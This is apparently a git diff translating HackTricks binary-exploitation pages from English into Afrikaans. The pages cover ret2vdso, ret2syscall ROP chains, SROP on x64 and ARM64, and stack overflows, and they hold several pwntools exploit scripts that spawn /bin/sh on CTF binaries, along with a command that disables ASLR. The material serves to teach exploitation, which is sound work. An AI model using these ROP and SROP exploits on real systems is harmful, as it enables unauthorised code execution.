> Let dus op hoe dit moontlik mag wees om **ASLR te omseil deur die vdso te misbruik** as die kernel saamgestel is met CONFIG_COMPAT_VDSO, aangesien die vdso-adres nie ge-randomiseer sal word nie: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
Na die dumping en nagaan van die vdso-afdeling van 'n binêre in kali 2023.2 arm64, kon ek nie enige interessante gadget daarin vind nie (geen manier om registers te beheer vanaf waardes in die stapel of om x30 te beheer vir 'n ret nie) **behalwe 'n manier om 'n SROP aan te roep**. Kyk meer inligting in die voorbeeld van die bladsy:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
Dit is soortgelyk aan Ret2lib, egter, in hierdie geval sal ons nie 'n funksie van 'n biblioteek aanroep nie. In hierdie geval sal alles voorberei word om die syscall `sys_execve` met 'n paar argumente aan te roep om `/bin/sh` uit te voer. Hierdie tegniek word gewoonlik op binêre lêers uitgevoer wat staties gecompileer is, so daar mag baie gadgets en syscall instruksies wees.
In order to prepare the call for the **syscall** it's needed the following configuration:
Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie nodig:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
- `rax: 59 Spesifiseer sys_execve`
- `rdi: ptr na "/bin/sh" spesifiseer lêer om uit te voer`
- `rsi: 0 spesifiseer geen argumente wat deurgegee word nie`
- `rdx: 0 spesifiseer geen omgewing veranderlikes wat deurgegee word nie`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
So, basies is dit nodig om die string `/bin/sh` iewers te skryf en dan die `syscall` uit te voer (met kennis van die padding wat nodig is om die stapel te beheer). Hiervoor het ons 'n gadget nodig om `/bin/sh` in 'n bekende area te skryf.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> 'n Ander interessante syscall om aan te roep is **`mprotect`** wat 'n aanvaller sou toelaat om **die toestemmings van 'n bladsy in geheue te wysig**. Dit kan gekombineer word met [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
## Register gadgets
Let's start by finding **how to control those registers**:
Kom ons begin met die vind van **hoe om daardie registers te beheer**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Met hierdie adresse is dit moontlik om **die inhoud in die stapel te skryf en dit in die registers te laai**.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## Skryf string
## Write string
### Writable memory
First you need to find a writable place in the memory
### Skryfbare geheue
Eerstens moet jy 'n skryfbare plek in die geheue vind
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Skryf String in geheue
### Write String in memory
Then you need to find a way to write arbitrary content in this address
Dan moet jy 'n manier vind om arbitrêre inhoud in hierdie adres te skryf.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatiseer ROP-ketting
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
Die volgende opdrag skep 'n volledige `sys_execve` ROP-ketting gegewe 'n statiese binêre wanneer daar write-what-where gadgets en syscall instruksies is:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
#### 32-bis
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
#### 64-bis
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Gebrek aan Gadgets
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
As jy **gadget tekortkom**, byvoorbeeld om `/bin/sh` in geheue te skryf, kan jy die **SROP-tegniek gebruik om al die registerwaardes** (insluitend RIP en params registers) vanaf die stapel te beheer:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## Exploit Voorbeeld
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64 bits, geen PIE, nx, skryf in 'n bietjie geheue 'n ROP om `execve` aan te roep en daarheen te spring.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64 bits, nx, geen PIE, skryf in 'n bietjie geheue 'n ROP om `execve` aan te roep en daarheen te spring. Om na die stapel te skryf, word 'n funksie wat wiskundige operasies uitvoer, misbruik.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, geen PIE, nx, BF kanary, skryf in 'n bietjie geheue 'n ROP om `execve` aan te roep en daarheen te spring.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Vind 'n inleiding tot arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -10,72 +10,65 @@ Find an introduction to arm64 in:
## Code
We are going to use the example from the page:
Ons gaan die voorbeeld van die bladsy gebruik:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Compile sonder pie en canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration:
Om die oproep vir die **syscall** voor te berei, is die volgende konfigurasie nodig:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
Met ROPgadget.py kon ek die volgende gadgets in die libc-biblioteek van die masjien lokaliseer:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
Met die vorige gadgets kan ons al die nodige registers vanaf die stapel beheer en x5 gebruik om na die tweede gadget te spring om die syscall aan te roep.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> Let daarop dat die kennis van hierdie inligting uit die libc-biblioteek ook 'n ret2libc-aanval moontlik maak, maar kom ons gebruik dit vir hierdie huidige voorbeeld.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n seinhandler sy uitvoering voltooi het. Seine is onderbrekings wat aan 'n program deur die bedryfstelsel gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n sein ontvang, pauzeer dit tydelik sy huidige werk om die sein met 'n **seinhandler** te hanteer, 'n spesiale funksie wat ontwerp is om met seine te werk.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
Nadat die seinhandler klaar is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** in die spel kom. Dit help die program om **terug te keer van die seinhandler** en herstel die program se toestand deur die stapelraam (die gedeelte van geheue wat funksie-oproepe en plaaslike veranderlikes stoor) wat deur die seinhandler gebruik is, op te ruim.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **alle CPU se registerwaardes op die stapel te stoor.** Wanneer die sein nie meer geblokkeer is nie, **pop `sigreturn` hierdie waardes van die stapel af**, wat effektief die CPU se registre na hul toestand voor die sein hanteer is, terugstel. Dit sluit die stapelpunt-register (RSP) in, wat na die huidige bokant van die stapel wys.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> Om die syscall **`sigreturn`** vanaf 'n ROP-ketting aan te roep en **die registerwaardes** wat ons wil hê dat dit in die **stapel** laai, by te voeg, is dit moontlik om **te beheer** al die registerwaardes en dus **te roep** byvoorbeeld die syscall `execve` met `/bin/sh`.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
Let op hoe dit 'n **type Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
As jy nuuskierig is, dit is die **sigcontext-struktuur** wat in die stapel gestoor word om later die waardes te herstel (diagram van [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
Vir 'n beter verduideliking kyk ook:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## Voorbeeld
Jy kan [**hier 'n voorbeeld vind**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) waar die oproep na signeturn via ROP saamgestel word (die waarde `0xf` in rxa plaas), alhoewel dit die finale uitbuiting van daar is:
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
Kyk ook na die [**exploit van hier**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) waar die binêre reeds `sigreturn` aangeroep het en daarom is dit nie nodig om dit met 'n **ROP** te bou nie:
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## Ander Voorbeelde & Verwysings
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- Assembly binêre wat toelaat om **na die stapel te skryf** en dan die **`sigreturn`** syscall aanroep. Dit is moontlik om op die stapel 'n [**ret2syscall**](../rop-syscall-execv/) via 'n **sigreturn** struktuur te skryf en die vlag wat binne die geheue van die binêre is, te lees.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- Assembly binêre wat toelaat om **na die stapel te skryf** en dan die **`sigreturn`** syscall aanroep. Dit is moontlik om op die stapel 'n [**ret2syscall**](../rop-syscall-execv/) via 'n **sigreturn** struktuur te skryf (die binêre het die string `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die `gets` funksie misbruik met 'n gebrek aan gadgets wat 'n [**ret2syscall**](../rop-syscall-execv/) uitvoer. Die ROP-ketting skryf `/bin/sh` in die `.bss` deur weer `gets` aan te roep, dit misbruik die **`alarm`** funksie om eax op `0xf` te stel om 'n **SROP** aan te roep en 'n shell uit te voer.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- 64 bits assembly program, geen relro, geen canary, nx, geen pie. Die vloei laat toe om in die stapel te skryf, verskeie registers te beheer, en 'n syscall aan te roep en dan `exit` aan te roep. Die geselekteerde syscall is 'n `sigreturn` wat registre stel en `eip` beweeg om 'n vorige syscall instruksie aan te roep en `memprotect` uit te voer om die binêre ruimte op `rwx` te stel en die ESP in die binêre ruimte te stel. Volg die vloei, die program sal weer lees in ESP aanroep, maar in hierdie geval sal ESP na die volgende instruksie wys, sodat 'n shellcode as die volgende instruksie geskryf en uitgevoer sal word.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP word gebruik om uitvoeringsregte (memprotect) aan die plek te gee waar 'n shellcode geplaas is.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Pwntools voorbeeld
Hierdie voorbeeld skep die kwesbare binêre en benut dit. Die binêre **lees in die stapel** en roep dan **`sigreturn`** aan:
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof voorbeeld
## bof example
### Code
### Kode
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
Compile dit met:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
Die exploit misbruik die bof om terug te keer na die oproep na **`sigreturn`** en berei die stapel voor om **`execve`** aan te roep met 'n wysiger na `/bin/sh`.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## bof voorbeeld sonder sigreturn
## bof example without sigreturn
### Code
### Kode
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
In die afdeling **`vdso`** is dit moontlik om 'n oproep na **`sigreturn`** in die offset **`0x7b0`** te vind:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
Daarom, as dit gelek is, is dit moontlik om **hierdie adres te gebruik om toegang tot 'n `sigreturn`** te verkry as die binêre dit nie laai nie:
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
Vir meer inligting oor vdso, kyk:
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
En om die adres van `/bin/sh` te omseil, kan jy verskeie omgewing veranderlikes skep wat daarna verwys, vir meer inligting:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

View File

@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow
## Wat is 'n Stack Overflow
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
'n **stack overflow** is 'n kwesbaarheid wat voorkom wanneer 'n program meer data na die stapel skryf as wat dit toegeken is om te hou. Hierdie oortollige data sal **aangrensende geheue ruimte oorskryf**, wat lei tot die korrupsie van geldige data, onderbreking van die beheerstroom, en moontlik die uitvoering van kwaadwillige kode. Hierdie probleem ontstaan dikwels as gevolg van die gebruik van onveilige funksies wat nie grensekontrole op invoer uitvoer nie.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
Die hoofprobleem van hierdie oorskrywing is dat die **gestoor instruksie-aanwyser (EIP/RIP)** en die **gestoor basisaanwyser (EBP/RBP)** om na die vorige funksie terug te keer, **op die stapel gestoor word**. Daarom sal 'n aanvaller in staat wees om dit te oorskry en **die uitvoeringsvloei van die program te beheer**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
Die kwesbaarheid ontstaan gewoonlik omdat 'n funksie **meer bytes binne die stapel kopieer as die hoeveelheid wat daarvoor toegeken is**, en kan dus ander dele van die stapel oorskry.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
Sommige algemene funksies wat kwesbaar is hiervoor, is: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ook, funksies soos **`fgets`**, **`read` & `memcpy`** wat 'n **lengte argument** neem, kan op 'n kwesbare manier gebruik word as die gespesifiseerde lengte groter is as die toegekenne.
Byvoorbeeld, die volgende funksies kan kwesbaar wees:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Vind van Stap Oorloop afstanden
### Finding Stack Overflows offsets
Die mees algemene manier om stap oorloop te vind, is om 'n baie groot invoer van `A`s te gee (bv. `python3 -c 'print("A"*1000)'`) en 'n `Segmentation Fault` te verwag wat aandui dat die **adres `0x41414141` probeer is om toegang te verkry**.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
Boonop, sodra jy gevind het dat daar 'n Stap Oorloop kwesbaarheid is, sal jy die afstand moet vind totdat dit moontlik is om die **terugadres te oorskry**, hiervoor word gewoonlik 'n **De Bruijn-sekwensie** gebruik. Wat vir 'n gegewe alfabet van grootte _k_ en subreekse van lengte _n_ 'n **sirkelvormige sekwensie is waarin elke moontlike subreeks van lengte \_n**\_\*\* presies een keer\*\* as 'n aaneengeskakelde subreeks verskyn.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
Op hierdie manier, in plaas daarvan om handmatig uit te vind watter afstand nodig is om die EIP te beheer, is dit moontlik om een van hierdie sekwensies as opvulling te gebruik en dan die afstand van die bytes te vind wat dit oorgeskryf het.
Dit is moontlik om **pwntools** hiervoor te gebruik:
```python
from pwn import *
@ -44,26 +41,23 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
```
or **GEF**:
of **GEF**:
```bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
Tydens 'n oorgang (as die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na waar die gebruiker gespesifiseer het** in hierdie pointeur.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
egter, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called:
In hierdie tipe CTF-uitdagings, is daar 'n **funksie** **binne** die binêre wat **nooit aangeroep word** en wat **jy moet aanroep om te wen**. Vir hierdie uitdagings moet jy net die **offset vind om die terugadres te oorskryf** en **die adres van die funksie** vind om aan te roep (gewoonlik [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal gedeaktiveer wees) sodat wanneer die kwesbare funksie terugkeer, die verborge funksie aangeroep sal word:
{{#ref}}
ret2win/
@ -71,15 +65,15 @@ ret2win/
### Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
In hierdie scenario kan die aanvaller 'n shellcode in die stapel plaas en die beheerde EIP/RIP misbruik om na die shellcode te spring en arbitrêre kode uit te voer:
{{#ref}}
stack-shellcode/
{{#endref}}
### ROP & Ret2... techniques
### ROP & Ret2... tegnieke
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
Hierdie tegniek is die fundamentele raamwerk om die hoofbeskerming van die vorige tegniek te omseil: **Geen uitvoerbare stapel (NX)**. En dit stel in staat om verskeie ander tegnieke uit te voer (ret2lib, ret2syscall...) wat sal eindig met die uitvoering van arbitrêre opdragte deur bestaande instruksies in die binêre te misbruik:
{{#ref}}
../rop-return-oriented-programing/
@ -87,7 +81,7 @@ This technique is the fundamental framework to bypass the main protection to the
## Heap Overflows
An overflow is not always going to be in the stack, it could also be in the **heap** for example:
'n Oorgang is nie altyd in die stapel nie, dit kan ook in die **heap** wees byvoorbeeld:
{{#ref}}
../libc-heap/heap-overflow.md
@ -95,7 +89,7 @@ An overflow is not always going to be in the stack, it could also be in the **he
## Types of protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Daar is verskeie beskermings wat probeer om die uitbuiting van kwesbaarhede te voorkom, kyk daarna in:
{{#ref}}
../common-binary-protections-and-bypasses/

View File

@ -4,21 +4,21 @@
## String pointers
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary.
As 'n funksie-oproep 'n adres van 'n string wat in die stapel geleë is, gaan gebruik, is dit moontlik om die buffer oorgang te misbruik om **hierdie adres te oorskryf** en 'n **adres na 'n ander string** binne die binêre te plaas.
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary.
As 'n **`system`** funksie-oproep byvoorbeeld die **adres van 'n string om 'n opdrag uit te voer** gaan gebruik, kan 'n aanvaller die **adres van 'n ander string in die stapel** plaas, **`export PATH=.:$PATH`** en in die huidige gids 'n **script met die naam van die eerste letter van die nuwe string** skep, aangesien dit deur die binêre uitgevoer sal word.
